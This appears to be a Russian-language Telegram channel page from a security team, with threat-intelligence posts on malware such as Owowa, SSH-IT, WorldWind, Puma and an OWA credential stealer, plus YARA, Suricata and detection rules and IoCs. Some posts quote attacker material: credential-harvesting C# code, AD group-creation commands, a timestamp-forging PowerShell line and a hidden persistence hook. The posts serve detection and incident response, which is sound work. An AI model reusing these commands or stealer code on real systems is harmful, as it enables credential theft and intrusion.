ESCalator
5.45K subscribers
333 photos
1 video
8 files
143 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Об обфусцированном батнике замолвите слово...

Этот пост публикуем вдогонку к недавнему про EXE-шник, скрытый под хексдампом в Base64-запросе на создание сертификата: разумеется, самостоятельно в такой схеме он не запустится. Изначально CSR-файл являлся лишь частью batch-скрипта, упакованного в RAR-архив, который назвали Serkan_Yalgi.Tar.

📂 Открыть его удалось только с помощью WinRAR и UnRAR на Linux, дефолтный распаковщик Винды и 7-Zip теряются при виде архива, как показано на первом скриншоте (UX этого семпла на очень низком уровне).

Внутри архива находится batch-файл Serkan_Yalgi.cmd, на втором скриншоте представлен фрагмент его содержимого. И такого безобразия там примерно 400 строк, остальные 115 000 строк занимает упомянутый в прошлом посте EXE в Base64.

Для начинающего администратора Windows эти кракозябры могут быть непонятны, но на самом деле это валидный батник, просто немного обфусцированный. Основная операция в данном скрипте — это извлечение подстроки из исходной строки, а затем склейка и интерпретация полученного результата (подробнее об операциях над строками в batch-файлах можно прочитать здесь).

Получив эти знания, можно вооружиться питоном и начать представленный скрипт, но мы поступили более хитро и воспользовались этим инструментом.

Применим деобфускатор к файлу:



python batch_interpreter.py –file Serkan_Yalgi.cmd


Подчистив вывод, получаем исходный скрипт, представленный на третьем скриншоте (C:\Users\Public заменено на %PUBLIC% для краткости). Самое забавное, что обфускатор BatCloak не спросил малварщика и оставил в его скрипте рекламу (вот и пользуйся после такого опенсорсом!).

Как видно, скрипт копирует cmd.exe в файл alpha.exe с помощью утилиты extrac32 (для обхода средств защиты), проделывает то же самое с certutil -> kn, а затем распаковывает Base64 и хексдамп с помощью нового certutil и запускает результирующий EXE-шник. Это же поведение можно увидеть и запустив файл в песочнице, например в PT Sandbox (скриншот 4).

Но поведение — это отдельная тема. Как же детектировать обфусцированный батник? Родилась идея следующего YARA-правила:


strings:
$subs = /:~\ *(-|\+)?\d{1,2},\ *(-|\+)?\d{1,3}%/
condition:
#subs > 100


Как вам эта информация, мотивирует к переходу на Linux? 🧐

#Detect #Yara
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👍129💯1
🤔 Помните, в паре предыдущих постов мы описывали простые и чуть посложнее подходы к выявлению вредоносов на примере письма, попавшего к нам в SOC, и вложения из него?

Ловите продолжение 👇

Если вдруг подобный вредонос смог пройти все рубежи защиты, попасть на тачку пользователя и начать там работать, не все потеряно!

Вы же обратили внимание, что на первом этапе вредоносный BAT-файл копировал и переименовывал пару системных файлов (cmd.exe и certutil.exe), которые затем использовал?

Выявление такого поведения несложно автоматизировать 😏

Хорошо настроенная служба Microsoft Sysmon позволяет не только журналировать запуск процессов и параметры командной строки, но и фиксировать такие интересные данные из свойств файла, как его оригинальное имя (смотрите скриншоты 1 и 2).

А значит, достаточно просто сравнить значения двух полей в событии, чтобы вовремя выявить использование подобной хакерской техники (она, кстати, называется «Маскировка: Переименование системных утилит»).

В составе пакетов экспертизы MaxPatrol SIEM у нас есть правило и на этот случай — Copied_or_Renamed_Executable.

А если у вас нет нашего продукта, можно взять за основу для своих детектов одно из SIGMA-правил proc_creation_win_renamed_binary_highly_relevant.

#Detect #Sigma #Rules
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
13🤩76👍2😁1
Gapucino* — это GOFFEE ☕️

Сегодня мы расскажем про одну из самых активных на данный момент кампаний на территории России. Другие исследователи называют ее GOFFEE.

В качестве исходного вектора злоумышленники используют фишинговые письма с документами, которые содержат вредоносный макрос. Пример такого документа мы разобрали в посте !!р^д**н**c 🤔

Аналогичные документы можно обнаружить по паттерну:


content:"DigitalRSASignature"


Кроме того, эксперты из Cisco Talos буквально на днях описали аналогичную цепочку атак на российские компании.

После проникновения в инфраструктуру атакующие используют Mythic-агент QwakMyAgent, написанный на языке PowerShell, о котором рассказали специалисты F.A.C.C.T.

Одним из самых интересных инструментов, который применяется атакующими в ходе этой кампании, является IIS-модуль Owowa (о нем — в следующем посте).

* Gapucino.com — один из C2 злоумышленников.

#dfir #detect #C2 #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍43👾2🆒1
⚠️ OWOWAсный модуль, или IIS кOWOWAрен

Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.

А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.

Модуль устанавливается в системе командой appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.


public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...


Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.

Пример учетных данных, которые записываются в HashSet:


ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}


Данные, как и раньше, защищены алгоритмом RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.


memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);


Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.

Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком username: ZaDS0tojX0VDh82.

Пример GET-запроса в журналах IIS-сервера:


2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14


Помимо перехвата полей username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.

В последней версии злоумышленники отказались от функции RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.

IoCs:


Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6


YARA:


rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}


Happy hunting!

#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥126💯4👍1🍾1
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍7💯62💩1🦄1
Ngrok. Находим и разбираемся 🔍

В процессе расследования множества инцидентов мы неоднократно встречаем такой инструмент, как ngrok. Это удобный легитимный инструмент для прокидывания сетевых туннелей для администраторов.

Он стал очень популярен у злоумышленников, которые, как правило, устанавливают RDP-соединения, и мы настоятельно рекомендуем поискать ngrok у себя в инфраструктуре.

Несколько рекомендаций по поиску признаков использования ngrok на узлах:

1️⃣ Наличие файла с именем ngrok.yml или директорий ngrok, .ngrok2, которые, как правило, имеют следующие файловые пути:


C:\Users\<username>\.ngrok2\ngrok.yml
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\ngrok\ngrok.yml
C:\Windows\SysWOW64\config\systemprofile\.ngrok2\ngrok.yml


2️⃣ Наличие файла *.yml, в котором встречаются строки по следующим паттернам:


'version\: \"[0-9]+\"'
'authtoken\: [a-z0-9_]{49}'


Пример (ngrok.yml):

version: "2"
authtoken: 5U87lkcqEFeZ0sJ7Hg66aXkkrO4_K9EpjQHkJMkTg0R96pu64


3️⃣ Наличие строки ::%16777216 в качестве адреса сети источника в журналах сетевых подключений:


C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx


4️⃣ Наличие файла планировщика заданий Windows, через который осуществляется закрепление на узле и в котором могут встречаться строки по следующим паттернам:

'<Arguments>tcp [0-9]+</Arguments>'
'<Arguments>tcp [^ ]+\:[0-9]+ \-\-authtoken [a-z0-9_]{49}</Arguments>'


Пример 1 (C:\Windows\System32\Tasks\Microsoft\Windows\Microsoft\Monitor):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="https://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\Microsoft\1.exe</Command>
<Arguments>tcp 3389</Arguments>
</Exec>
</Actions>
</Task>


Пример 2 (C:\Windows\System32\Tasks\updater):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="https://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\ProgramData\1.exe</Command>
<Arguments>tcp poc.opi.rtyo.ru:22 --authtoken qr7pKMAgTp5nfT0HTwh21sb9VsF_FwX3xkNuQqJE7MBh0gUj8</Arguments>
<WorkingDirectory>C:\ProgramData</WorkingDirectory>
</Exec>
</Actions>
</Task>


📌 Чтобы обнаружить признаки наличия инструмента на периметре, можно поискать узлы, взаимодействующие со следующими серверами:


ngrok.com
ngrok-agent.com
ngrok.io
*.equinox.io


#tip #detect #hacktool #dfir
@ptescalator
👍23🔥11👏5
Стилерная инфекция: новый USB-штамм 👾

Сегодня расскажем про обнаруженную нами необычную модификацию стилера WorldWind. Это самый что ни на есть настоящий вирус, передающийся через тесный контакт зараженного устройства с USB-носителем и вызывающий не только утечку конфиденциальной информации, но и потерю бесценной коллекции ПО на внешних дисках.

Находка, как и ее предшественники, все также продолжает использовать сервисы icanhazip, mylnikov.org + Google Карты для определения внешнего IP-адреса и геолокации (скриншот 1). Реализация модуля сбора информации тоже не изменилась, за исключением пары структур.

🐔 Мутации же затронули сетевую часть и набор функций стилера. Теперь он не передает информацию через Telegram. Вместо этого сообщения улетают на С2-сервер злоумышленников в следующем порядке: checkin → exfiltration → close. Форматы этих сообщений представлены на скриншоте 2.

Из стилера также пропали функции для кражи VPN-конфигов и паролей от игровых лончеров и Wi-Fi. Но взамен развилась способность агрессивно распространяться через USB-носители. Если на внешнем диске есть экзешники, то стилер удалит их и запишет себя под их именами (скриншот 3).

Не находите, что повеяло старыми добрыми временами дикого вирусописательства? 😏

Чтобы уменьшить риск заражения, ставьте сигнатурные прививки и проходите антивирусные осмотры.

Заодно давайте покроем стилер правилом, детектирующим checkin:


alert tcp any any -> any any (msg: "STEALER [PTsecurity] WorldWind checkin"; flow: established, to_server; stream_size: client, <, 80; stream_size: server, =, 1; content: "|46 00 00 00|"; startswith; fast_pattern; content: "{|22|id|22 3a| 0"; within: 8; content: "|22|hwid|22 3a|"; within: 10; content: !"|20|"; distance: 2; within: 32; content: "|22|country|22 3a|"; distance: 32; content: !","; distance: 0; classtype: trojan-activity; metadata: malware_family WorldWind; sid: 1; rev: 1;)


IOCs:


84d52de2b69e14f26259da07297e02eb2c4ac32045a690f65a267fe931da0433
20.208.136.72:12346


Будьте здоровы и happy hunting!

#hunt #C2 #detect #ioc #malware #network #suricata
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍115
📲 Облачные сервисы от оператора «МеХаФон»

Новости с полей: команда PT ESC наблюдает новую кампанию группировки Cloud Atlas, нацеленную на государственные организации из России и стран СНГ. Про эту группировку мы рассказывали в нашем исследовании APT Cloud Atlas: Unbroken Threat и в посте.

📝 В качестве исходного вектора в своих атаках злоумышленники традиционно используют фишинговые письма с вредоносным вложением «О представлении информации.doc» (VirusTotal 0/62). Рассылка осуществляется с адресов @internet.ru. Такой домен почтового адреса можно получить при регистрации на сервисе mail.ru.

Примечательно, что атакующие не изменяют себе и с 2014 года используют облачные сервисы. При этом они продолжают экспериментировать, и раз за разом в их арсенал добавляются новые популярные платформы. Поэтому в первую очередь мы настоятельно рекомендуем проверить все сессии по протоколу «Яндекс Диск WebDAV» (webdav.yandex.ru) и запросы через Google Sheets API (oauth2.googleapis.com, sheets.googleapis.com).

IoCs:


mehafon.com
technoguides.org

9943fee873c0642216d1578fc4373648b670b5bc47a8bf37366063041518f8b2


Happy hunting and stay tuned!

#hunt #detect #ioc #apt #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1754💯2👍1😁1
Net group "babyk" /add

В рамках расследования одного из инцидентов мы обнаружили факт эксплуатации уязвимости CVE-2024-37085. Она позволяет злоумышленнику получить полный контроль над гипервизором VMware ESXi, присоединенным к домену 😠

Уязвимость заключается в том, что пользователи, входящие в группу с именем ESX Admins, по умолчанию имеют максимальные права доступа к гипервизору. Эта группа не существует в домене по умолчанию, поэтому злоумышленнику необходимо завладеть учетной записью, имеющей права на создание группы и добавление в нее пользователей.

✏️ Уязвимость CVE-2024-37085 описана компанией Microsoft в июле 2024 года.

В статье упоминается эксплуатация этого недостатка операторами шифровальщиков Akira и Black Basta. В публичных отчетах информации об использовании уязвимости в атаках на российские организации нет.

👤 В рассматриваемом нами случае злоумышленникам удалось получить доступ к контроллеру домена и завладеть учетной записью с необходимыми правами. После они создали группу ESX Admins и добавили в нее пользователя, выполнив следующие команды:

net group "ESX Admins" /add /domain
net group "ESX Admins" superuser /add /do


От имени этого пользователя впоследствии нарушители вошли на гипервизор и зашифровали файлы и диски виртуальных машин с применением Babyk.

В обнаружении эксплуатации CVE-2024-37085 могут помочь события журнала Security:

• 4727 — создание группы безопасности Active Directory с именем ESX Admins;
• 4737 — изменение группы безопасности Active Directory (переименование группы в ESX Admins);
• 4728 — добавление пользователя в группу безопасности Active Directory с именем ESX Admins.

Для исправления описанной уязвимости рекомендуется установить последние обновления безопасности для VMware ESXi.

#dfir #cve #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍10👏7🆒21😁1🤯1
Сложный пароль не поможет 📮

Практика команды реагирования на инциденты информационной безопасности PT ESC IR показывает, что злоумышленники, получая доступ в инфраструктуру компаний, помимо классических бэкдоров и туннелей, иногда встраивают на почтовом сервере дополнительные стилеры учетных записей. Про аналогичное ВПО мы уже рассказывали в прошлом году.

Например, в ходе атаки злоумышленники могут получить доступ к почтовому серверу Microsoft Exchange Server и отредактировать файл C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\XX.X.XXXX\scripts\premium\flogon.js, который является inline-скриптом для главной страницы аутентификации logon.aspx на OWA (Outlook Web Access).

<%= InlineJavascript("flogon.js") %>


Атакующие обычно используют базовые методы антифорензики, подменяя временные метки модифицированным файлам.

$path=".\flogon.js";$time = "2020-01-02 07:24:31";(Get-Item $path).LastWriteTime = $time;(Get-Item $path).CreationTime = $time;(Get-Item $path).LastAccessTime = $time`


Как правило, злоумышленники вносят изменения в функцию clkLgn, которая является обработчиком кнопки входа. В функцию добавляют вредоносный код, который в открытом виде перехватывает все учетные записи (логины и пароли), введенные пользователями при авторизации на OWA.

Рассмотрим два актуальных примера:

1️⃣ В функции clkLgn формируется URL формата https://[REDACTED]/?key1=smthuser&key2=smthpassword, где smthuser — это логин, а smthpassword — пароль перехваченной учетной записи, и отправляется GET-запрос на управляющий сервер (скриншоты 1, 2).

2️⃣ В другом эпизоде злоумышленники предварительно добавляли на сервер дополнительный сценарий check.aspx, задача которого — запись перехваченных учетных данных в лог log.png на диске. Доступ к логу атакующие могли получать из интернета.

Перехват учетных данных, как и в первом примере, осуществлялся модифицированной функцией clkLgn, в код которой была добавлена новая функция chklogin, которая, в свою очередь, вызывала chk, внутри которой формировался URL ./check.aspx?c="smthuser-smthpassword с перехваченными учетными данными в параметре «c» и выполнялся GET-запрос в скрипт check.aspx (скриншоты 3, 4).

👀 Пример журнала log.png:

smthuser-
smthpassword#20250304090723


YARA:

rule PTESC_tool_win_ZZ_clkLgnStealer__Stealer{
strings:
$s1 = "// flogon.js"
$s2 = "(\"username\").value"
$s3 = "(\"password\").value"
$s4 = "function clkLgn()"
$s5 = ".send()"
condition:
all of them and filesize < 20KB
}


Happy hunting!

#ir #hunt #yara #dfir #detect #win
@ptescalator
🔥238💯7👍3
Графика с сюрпризом: когда векторы скрывают вредоносный код 🤨

В этом посте мы рассмотрим пример фишингового электронного письма, в котором вредоносный контент доставлялся через SVG-файл. Ранее о таком способе обхода средств защиты информации писали здесь, но сейчас мы более подробно рассмотрим, как это работает. Наши наблюдения за последние недели показали, что половина вредоносных писем с HTML-подобными вложениями содержат именно SVG-файл.

Фишинговое письмо 🥳

Почтовый образец достаточно скромный: отправлялся от почтового ящика из сервиса GMX, поддерживающего свободную регистрацию; в теме содержал информацию о поступлении квитанции об оплате; тело письма было пустым, а вредоносный SVG-файл был единственным вложением (скриншот 1).

SVG-файл 😱

Начало файла имеет достаточно обычную SVG-верстку с метаданными, а само тело «изображения» представляет собой загрузку HTML-контента через вызов <foreignObject> (скриншот 2).

Примечание: элемент <foreignObject> в SVG используется для подгрузки других XML-объектов в изображение, в том числе HTML. Подгрузка последнего позволяет наполнить изображение «фишками» HTML, такими как интерактивные объекты или динамический контент.


Заранее стоит отметить, что анализируемый образец при открытии не отображается как изображение, а загружаемый им скрипт содержит элементы управления вкладками браузера и редиректами.

Внутри блока символьных данных (<![CDATA[ ... ]]>) определяется константа, волатильная в зависимости от адресата электронного письма. Такой подход позволяет не менять непосредственно код JS-скрипта, встраивая его одинаковым Base64-блоком в элемент <script src=>.

JS-скрипт 🐈‍⬛️

Подгружаемый скрипт, естественно, обфусцирован, а также наполнен довольно приличным скопом бессмысленных комментариев.

Конфигурация скрипта содержит блоки Base64-данных, но просто декодировав их информацию не получить (скриншот 3).

Далее по скрипту находится функция декодирования и дешифрования данных из конфига, а также запуска блока кода из дешифрованных данных. Его вывод представляет собой JSON-конфиг, а ключ code уже содержит URL-адрес вредоносной страницы (скриншот 4).

В нем мы также видим запрос значения переменной huqe из предыдущего пункта и его подстановку за «якорем» в формируемую URL-ссылку — достаточно известная техника проброса email-адреса получателя в форму сбора учетных записей.

Запуск функций в скрипте осуществляется через window.addEventListener("DOMContentLoaded", script_function()), но с учетом того, что никакого DOM скрипт не содержит: сразу запускается код из JSON-ключа code, возвращаемого из функции дешифрования.

window.location.assign() запускает редирект на URL-адрес из его параметров. Это говорит о том, что непосредственные манипуляции с пользователем осуществляются уже на отдельной веб-странице, а не внутри SVG-изображения.

Советы ☕️

Тщательно проверяйте средствами защиты информации поступающие к пользователям образцы SVG-изображений: для них вполне могут подойти признаковые паттерны, используемые для анализа HTML-страниц и другого XML-контента.

#phishing #detect #tip #news
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍116👏3🆒3
⚠️ Эксперты PT ESC обнаружили попытки эксплуатации уязвимости CVE-2025-24071

Уязвимость CVE-2025-24071, затрагивающая широкий спектр операционных систем Windows, включая серверные и клиентские версии Windows 10 и Windows 11, была выявлена 11 марта.

CVE-2025-24071 связана с механизмом обработки файлов в Windows Explorer и системой индексирования — они автоматически анализируют файл .library-ms, извлекаемый при распаковке вредоносного архива и содержащий ссылку на SMB-ресурс.

Операционная система без взаимодействия с пользователем инициирует NTLM-аутентификацию на атакующем SMB-сервере — это приводит к утечке хеш-суммы NTLMv2 учетной записи жертвы, что может быть использовано для атаки.

Впервые описание и РoС уязвимости привел исследователь 0x6rss в своем блоге. Эксперты также заметили, что уязвимость может использоваться при сохранении файла с расширением .library-ms из электронного письма.

🕵️‍♀️ Несмотря на то что данные об уязвимости были опубликованы пару дней назад, злоумышленники не спят: мы уже обнаружили попытки эксплуатации CVE-2025-24071 в организациях в России и Республике Беларусь.

Атакующие распространяют архивы, в которых содержатся документ в формате PDF и файл .library-ms (скриншот 1). Жертва распаковывает архив и запускает PDF-приманку (скриншот 2), в то время как файл .library-ms автоматически и незаметно для пользователя отправляет данные на командный центр злоумышленников.

📈 Эксперты PT ESC прогнозируют всплеск атак с использованием этой уязвимости. Мы рекомендуем следующие методы защиты:

Ограничить соединения по SMB-протоколу к внешним серверам.
Обновить Windows до последней версии (установить мартовские обновления).
Запретить запуск файлов с расширением .library-ms.
Заблокировать получение файлов с расширением .library-ms по электронной почте.

IoCs

Письмо Минпромторга России от 17.03.2025 № 182544_21 о направлении сведений по кадровому потенциалу предприятий 2025.pdf.library-ms
MD5: c3f9813545b7f830183369dd649bd595
SHA-1: fcadd1a24f2fa6e0f5338ff0e8d186258c79a05d
SHA-256: a4205e773eee7f33d1bb776a2f7b36da4b3955284208c015257311b8ef23f721

Письмо Минпромторга России от 17.03.2025 № 182544_21.zip
MD5: 83a60de9faed1b0a0344eda108aee44f
SHA-1: 10c02f7a3214dc166f6a8ce19c3d0a988084b3ea
SHA-256: e7897176a7d226c82af27ff525399bd0c7d7b73fdfffac8d2d56b8707637aa99

01 Сопроводительное.pdf.library-ms
MD5: 74e2f206e99040868b60eef04781de8a
SHA-1: f27ecc7ec9c6425a41a3cbfa8bf74f24c32c6488
SHA-256: 8a3728ebdb64e69347c14356b250eb0720801ce367acd1b53510a8dea16f7001

01 Сопроводительное.zip
MD5: 78cd8d4481713fbd4beb790a127bd793
SHA-1: 595b68aaad8a705e78125735cdb7136b6f17b077
SHA-256: 07f6d81b5e3fba23f5de34038424ebec4710cbc16959de4389ceb7855e69bac2

spisoc.library-ms
MD5: 9bab71704cefac935546e09d12dfd2c1
SHA-1: 922c6ee612bd22a85cd1e84f50e18d21656c3f3d
SHA-256: cb9810b6492aad667554958332a3518aeed8d356dcd03b43e4116cd92c938d0f

154.205.148.56
38.60.247.250
94.250.249.129


#win #news #cve #detect #ioc
@ptescalator
🔥20👍168👏4🆒2❤‍🔥1
🐾 По следам Puma: как обнаружить руткит через его же интерфейс

Сегодня в нашем обзоре технически интересный и многофункциональный руткит для Linux — Puma, недавно исследованный коллегами из Elastic Security Labs и Solar 4RAYS.

Puma представляет собой комплексный руткит уровня ядра (LKM), нацеленный на длительное скрытное пребывание в системе и кражу учетных данных для перемещения в инфраструктуре жертвы. Закрепляется в системе путем подмены штатного cron на модифицированный вредоносный аналог, состоящий из нескольких компонентов:

1️⃣ Загрузчик (wpn.bin) — отвечает за корректную установку модуля ядра.

2️⃣ Легитимный cron (tgt.bin) — обеспечивает исправную работу cron, чтобы жертва не заметила подмены.

3️⃣ LKM-модуль (audit) — основной компонент для перехвата системных вызовов и функций ядра Linux. Благодаря ему модуль эффективно скрывает процессы, файлы, директории и сетевые соединения, а также перехватывает чувствительную информацию, такую как учетные данные и криптографические ключи.

4️⃣ Бэкдор (libs.so) — обеспечивает связь с C2-сервером, получение команд от злоумышленников и передачу результатов.

🎯 Любопытная деталь

Помимо стандартного удаленного управления через C2-сервер в Puma используется и локальное, реализованное через переопределенный системный вызов rmdir: при наличии определенных аргументов руткит интерпретирует вызов как команду и возвращает инициировавшему процессу результат выполнения. Так, бэкдор использует этот механизм, чтобы запросить у модуля конфигурацию удаленного сервера или отобразить перехваченные конфиденциальные данные.

🔎 Что нам удалось обнаружить

Анализируя Puma, мы выявили в LKM-модуле важную уязвимость: он не проверяет, какой именно процесс вызывает переопределенный rmdir для выполнения команд. Таким образом, вызвав rmdir с определенными аргументами, можно однозначно определить присутствие руткита в системе.

📌 Почему это важно

Уязвимость трудноустранима: злоумышленники, используя возможности бэкдора, могут обновлять лишь его код, но не код загруженного в систему модуля ядра. Для этого потребуется значительно больше усилий. Таким образом, уязвимость можно использовать для быстрого детекта Puma в инфраструктуре.

🐍 Для удобства мы написали небольшой Python-скрипт, который поможет вам определить руткит в системе:

import ctypes
import subprocess
import os

SYS_rmdir = 84

buffer_size = 16
path_buf = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf, b"zarya.u\0", 7)

libc = ctypes.CDLL("libc.so.6", use_errno=True)
ret = libc.syscall(SYS_rmdir, path_buf)

try:
proc = subprocess.Popen(
"lsmod | grep audit",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True
)
output, _ = proc.communicate()

if output.strip():
path_buf2 = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf2, b"zarya.t.0\0", 9)
ret2 = libc.syscall(SYS_rmdir, path_buf2)

if ret2 == 0:
print(f"Pumakit detected on this machine, module info:\n{output.strip()}")
else:
print("Pumakit wasn't detected at this machine")
else:
print("Pumakit wasn't detected at this machine")

except Exception as e:
print("Error:", e)


Не самый типичный случай — когда уязвимость играет не против защитника, а ему на руку. Такое бывает нечасто, но именно это дает возможность для точного детекта.

⚠️ Если вы обнаружили Puma, то в инфраструктуре почти наверняка есть и другое ВПО. Обязательно обратитесь за помощью к специалистам по реагированию на инциденты информационной безопасности.

#TI #detect #malware #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥3613👍12🏆1
(Ex)Cobalt == (Ex)Carbanak 🤔

